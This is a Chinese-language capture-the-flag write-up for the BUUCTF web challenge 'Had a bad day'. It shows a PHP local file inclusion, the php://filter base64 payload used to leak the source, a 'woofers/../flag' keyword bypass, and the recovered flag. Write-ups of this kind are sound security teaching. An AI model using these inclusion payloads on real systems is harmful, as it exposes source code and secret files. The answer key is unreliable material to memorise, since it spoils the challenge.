BUUCTF WEB [BSidesCF 2020]Had a bad day

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• index.php?category=woofers'

  報錯

  Warning: include(woofers'.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 37Warning: include(): Failed opening 'woofers'.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 37

• 發(fā)現(xiàn)一個文件包含漏洞，使用dirsearch掃描發(fā)現(xiàn)flag.php文件，直接訪問提示

  <!-- Can you read this flag? -->

• 題目設置了include_path ='.:/usr/local/lib/php' ，并且在提交的category變量后添加了.php后綴

• 使用php偽協(xié)議讀取index.php

  index.php?category=php://filter/convert.base64-encode/resource=index

  回顯

  PGh0bWw+CiAgPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPgogICAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IkltYWdlcyB0aGF0IHNwYXJrIGpveSI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCwgbWluaW11bS1zY2FsZT0xLjAiPgogICAgPHRpdGxlPkhhZCBhIGJhZCBkYXk/PC90aXRsZT4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iY3NzL21hdGVyaWFsLm1pbi5jc3MiPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJjc3Mvc3R5bGUuY3NzIj4KICA8L2hlYWQ+CiAgPGJvZHk+CiAgICA8ZGl2IGNsYXNzPSJwYWdlLWxheW91dCBtZGwtbGF5b3V0IG1kbC1sYXlvdXQtLWZpeGVkLWhlYWRlciBtZGwtanMtbGF5b3V0IG1kbC1jb2xvci0tZ3JleS0xMDAiPgogICAgICA8aGVhZGVyIGNsYXNzPSJwYWdlLWhlYWRlciBtZGwtbGF5b3V0X19oZWFkZXIgbWRsLWxheW91dF9faGVhZGVyLS1zY3JvbGwgbWRsLWNvbG9yLS1ncmV5LTEwMCBtZGwtY29sb3ItdGV4dC0tZ3JleS04MDAiPgogICAgICAgIDxkaXYgY2xhc3M9Im1kbC1sYXlvdXRfX2hlYWRlci1yb3ciPgogICAgICAgICAgPHNwYW4gY2xhc3M9Im1kbC1sYXlvdXQtdGl0bGUiPkhhZCBhIGJhZCBkYXk/PC9zcGFuPgogICAgICAgICAgPGRpdiBjbGFzcz0ibWRsLWxheW91dC1zcGFjZXIiPjwvZGl2PgogICAgICAgIDxkaXY+CiAgICAgIDwvaGVhZGVyPgogICAgICA8ZGl2IGNsYXNzPSJwYWdlLXJpYmJvbiI+PC9kaXY+CiAgICAgIDxtYWluIGNsYXNzPSJwYWdlLW1haW4gbWRsLWxheW91dF9fY29udGVudCI+CiAgICAgICAgPGRpdiBjbGFzcz0icGFnZS1jb250YWluZXIgbWRsLWdyaWQiPgogICAgICAgICAgPGRpdiBjbGFzcz0ibWRsLWNlbGwgbWRsLWNlbGwtLTItY29sIG1kbC1jZWxsLS1oaWRlLXRhYmxldCBtZGwtY2VsbC0taGlkZS1waG9uZSI+PC9kaXY+CiAgICAgICAgICA8ZGl2IGNsYXNzPSJwYWdlLWNvbnRlbnQgbWRsLWNvbG9yLS13aGl0ZSBtZGwtc2hhZG93LS00ZHAgY29udGVudCBtZGwtY29sb3ItdGV4dC0tZ3JleS04MDAgbWRsLWNlbGwgbWRsLWNlbGwtLTgtY29sIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0icGFnZS1jcnVtYnMgbWRsLWNvbG9yLXRleHQtLWdyZXktNTAwIj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxoMz5DaGVlciB1cCE8L2gzPgogICAgICAgICAgICAgIDxwPgogICAgICAgICAgICAgICAgRGlkIHlvdSBoYXZlIGEgYmFkIGRheT8gRGlkIHRoaW5ncyBub3QgZ28geW91ciB3YXkgdG9kYXk/IEFyZSB5b3UgZmVlbGluZyBkb3duPyBQaWNrIGFuIG9wdGlvbiBhbmQgbGV0IHRoZSBhZG9yYWJsZSBpbWFnZXMgY2hlZXIgeW91IHVwIQogICAgICAgICAgICAgIDwvcD4KICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwYWdlLWluY2x1ZGUiPgogICAgICAgICAgICAgIDw/cGhwCgkJCQkkZmlsZSA9ICRfR0VUWydjYXRlZ29yeSddOwoKCQkJCWlmKGlzc2V0KCRmaWxlKSkKCQkJCXsKCQkJCQlpZiggc3RycG9zKCAkZmlsZSwgIndvb2ZlcnMiICkgIT09ICBmYWxzZSB8fCBzdHJwb3MoICRmaWxlLCAibWVvd2VycyIgKSAhPT0gIGZhbHNlIHx8IHN0cnBvcyggJGZpbGUsICJpbmRleCIpKXsKCQkJCQkJaW5jbHVkZSAoJGZpbGUgLiAnLnBocCcpOwoJCQkJCX0KCQkJCQllbHNlewoJCQkJCQllY2hvICJTb3JyeSwgd2UgY3VycmVudGx5IG9ubHkgc3VwcG9ydCB3b29mZXJzIGFuZCBtZW93ZXJzLiI7CgkJCQkJfQoJCQkJfQoJCQkJPz4KCQkJPC9kaXY+CiAgICAgICAgICA8Zm9ybSBhY3Rpb249ImluZGV4LnBocCIgbWV0aG9kPSJnZXQiIGlkPSJjaG9pY2UiPgogICAgICAgICAgICAgIDxjZW50ZXI+PGJ1dHRvbiBvbmNsaWNrPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY2hvaWNlJykuc3VibWl0KCk7IiBuYW1lPSJjYXRlZ29yeSIgdmFsdWU9Indvb2ZlcnMiIGNsYXNzPSJtZGwtYnV0dG9uIG1kbC1idXR0b24tLWNvbG9yZWQgbWRsLWJ1dHRvbi0tcmFpc2VkIG1kbC1qcy1idXR0b24gbWRsLWpzLXJpcHBsZS1lZmZlY3QiIGRhdGEtdXBncmFkZWQ9IixNYXRlcmlhbEJ1dHRvbixNYXRlcmlhbFJpcHBsZSI+V29vZmVyczxzcGFuIGNsYXNzPSJtZGwtYnV0dG9uX19yaXBwbGUtY29udGFpbmVyIj48c3BhbiBjbGFzcz0ibWRsLXJpcHBsZSBpcy1hbmltYXRpbmciIHN0eWxlPSJ3aWR0aDogMTg5LjM1NnB4OyBoZWlnaHQ6IDE4OS4zNTZweDsgdHJhbnNmb3JtOiB0cmFuc2xhdGUoLTUwJSwgLTUwJSkgdHJhbnNsYXRlKDMxcHgsIDI1cHgpOyI+PC9zcGFuPjwvc3Bhbj48L2J1dHRvbj4KICAgICAgICAgICAgICA8YnV0dG9uIG9uY2xpY2s9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjaG9pY2UnKS5zdWJtaXQoKTsiIG5hbWU9ImNhdGVnb3J5IiB2YWx1ZT0ibWVvd2VycyIgY2xhc3M9Im1kbC1idXR0b24gbWRsLWJ1dHRvbi0tY29sb3JlZCBtZGwtYnV0dG9uLS1yYWlzZWQgbWRsLWpzLWJ1dHRvbiBtZGwtanMtcmlwcGxlLWVmZmVjdCIgZGF0YS11cGdyYWRlZD0iLE1hdGVyaWFsQnV0dG9uLE1hdGVyaWFsUmlwcGxlIj5NZW93ZXJzPHNwYW4gY2xhc3M9Im1kbC1idXR0b25fX3JpcHBsZS1jb250YWluZXIiPjxzcGFuIGNsYXNzPSJtZGwtcmlwcGxlIGlzLWFuaW1hdGluZyIgc3R5bGU9IndpZHRoOiAxODkuMzU2cHg7IGhlaWdodDogMTg5LjM1NnB4OyB0cmFuc2Zvcm06IHRyYW5zbGF0ZSgtNTAlLCAtNTAlKSB0cmFuc2xhdGUoMzFweCwgMjVweCk7Ij48L3NwYW4+PC9zcGFuPjwvYnV0dG9uPjwvY2VudGVyPgogICAgICAgICAgPC9mb3JtPgoKICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgICA8L21haW4+CiAgICA8L2Rpdj4KICAgIDxzY3JpcHQgc3JjPSJqcy9tYXRlcmlhbC5taW4uanMiPjwvc2NyaXB0PgogIDwvYm9keT4KPC9odG1sPg== <html><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="description" content="Images that spark joy"><meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0"><title>Had a bad day?</title><link rel="stylesheet" href="css/material.min.css"><link rel="stylesheet" href="css/style.css"></head><body><div class="page-layout mdl-layout mdl-layout--fixed-header mdl-js-layout mdl-color--grey-100"><header class="page-header mdl-layout__header mdl-layout__header--scroll mdl-color--grey-100 mdl-color-text--grey-800"><div class="mdl-layout__header-row"><span class="mdl-layout-title">Had a bad day?</span><div class="mdl-layout-spacer"></div><div></header><div class="page-ribbon"></div><main class="page-main mdl-layout__content"><div class="page-container mdl-grid"><div class="mdl-cell mdl-cell--2-col mdl-cell--hide-tablet mdl-cell--hide-phone"></div><div class="page-content mdl-color--white mdl-shadow--4dp content mdl-color-text--grey-800 mdl-cell mdl-cell--8-col"><div class="page-crumbs mdl-color-text--grey-500"></div><h3>Cheer up!</h3><p>Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!</p><div class="page-include"><?php$file = $_GET['category'];if(isset($file)){if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){include ($file . '.php');}else{echo "Sorry, we currently only support woofers and meowers.";}}?></div><form action="index.php" method="get" id="choice"><center><button onclick="document.getElementById('choice').submit();" name="category" value="woofers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Woofers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button><button onclick="document.getElementById('choice').submit();" name="category" value="meowers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Meowers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button></center></form></div></div></main></div><script src="js/material.min.js"></script></body> </html>

• 其中php代碼為

  <?php $file = $_GET['category'];if (isset($file)) {if (strpos($file, "woofers") !== false || strpos($file, "meowers") !== false || strpos($file, "index")) {include($file . '.php');} else {echo "Sorry, we currently only support woofers and meowers.";} } ?>

• 構造payload

  index.php?category=php://filter/convert.base64-encode/resource=woofers/../flag

  回顯

  PCEtLSBDYW4geW91IHJlYWQgdGhpcyBmbGFnPyAtLT4KPD9waHAKIC8vIGZsYWd7MjM0ZDNjMmItZDkwMi00ODNiLWJlMTItMDVmODdjMGIxNDRlfQo/Pgo=

  得到flag

  <!-- Can you read this flag? --> <?php// flag{234d3c2b-d902-483b-be12-05f87c0b144e} ?>

總結

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